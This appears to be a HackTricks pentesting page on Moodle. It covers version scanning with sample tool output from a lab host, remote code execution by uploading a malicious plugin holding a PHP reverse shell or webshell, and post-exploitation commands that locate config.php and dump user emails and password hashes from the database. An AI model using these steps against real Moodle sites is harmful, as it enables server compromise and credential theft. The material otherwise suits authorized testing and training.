mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
143 lines
6.2 KiB
Markdown
143 lines
6.2 KiB
Markdown
# Moodle
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
|
|
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
|
|
|
## Automatic Scans
|
|
|
|
### droopescan
|
|
|
|
```bash
|
|
pip3 install droopescan
|
|
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
|
|
|
|
[+] Plugins found:
|
|
forum http://moodle.schooled.htb/moodle/mod/forum/
|
|
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
|
|
http://moodle.schooled.htb/moodle/mod/forum/version.php
|
|
|
|
[+] No themes found.
|
|
|
|
[+] Possible version(s):
|
|
3.10.0-beta
|
|
|
|
[+] Possible interesting urls found:
|
|
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
|
|
Admin panel - http://moodle.schooled.htb/moodle/login/
|
|
|
|
[+] Scan finished (0:00:05.643539 elapsed)
|
|
```
|
|
|
|
### moodlescan
|
|
|
|
```bash
|
|
#Install from https://github.com/inc0d3/moodlescan
|
|
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
|
|
|
|
Version 0.7 - Dic/2020
|
|
.............................................................................................................
|
|
|
|
By Victor Herrera - supported by www.incode.cl
|
|
|
|
.............................................................................................................
|
|
|
|
Getting server information http://moodle.schooled.htb/moodle/ ...
|
|
|
|
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
|
|
x-powered-by : PHP/7.4.15
|
|
x-frame-options : sameorigin
|
|
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
|
|
|
|
Getting moodle version...
|
|
|
|
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
|
|
|
|
Searching vulnerabilities...
|
|
|
|
|
|
Vulnerabilities found: 0
|
|
|
|
Scan completed.
|
|
```
|
|
|
|
### CMSMap
|
|
|
|
```bash
|
|
pip3 install git+https://github.com/dionach/CMSmap.git
|
|
cmsmap http://moodle.example.com/<moodle_path>
|
|
```
|
|
|
|
### CVEs
|
|
|
|
I found that the automatic tools are pretty **useless finding vulnerabilities affecting the moodle version**. You can **check** for them in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
|
|
|
|
## **RCE**
|
|
|
|
You need to have **manager** role and you **can install plugins** inside the **"Site administration"** tab\*\*:\*\*
|
|
|
|
![](<../../.gitbook/assets/image (630).png>)
|
|
|
|
If you are manager you may still need to **activate this option**. You can see how ins the moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
|
|
|
Then, you can **install the following plugin** that contains the classic pentest-monkey php r**ev shell** (_before uploading it you need to decompress it, change the IP and port of the revshell and crompress it again_)
|
|
|
|
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
|
|
|
|
Or you could use the plugin from [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) to get a regular PHP shell with the "cmd" parameter.
|
|
|
|
To access launch the malicious plugin you need to access to:
|
|
|
|
```bash
|
|
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
|
|
```
|
|
|
|
## POST
|
|
|
|
### Find database credentials
|
|
|
|
```bash
|
|
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
|
```
|
|
|
|
### Dump Credentials from database
|
|
|
|
```bash
|
|
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
|
|
```
|
|
|
|
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
|
|
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|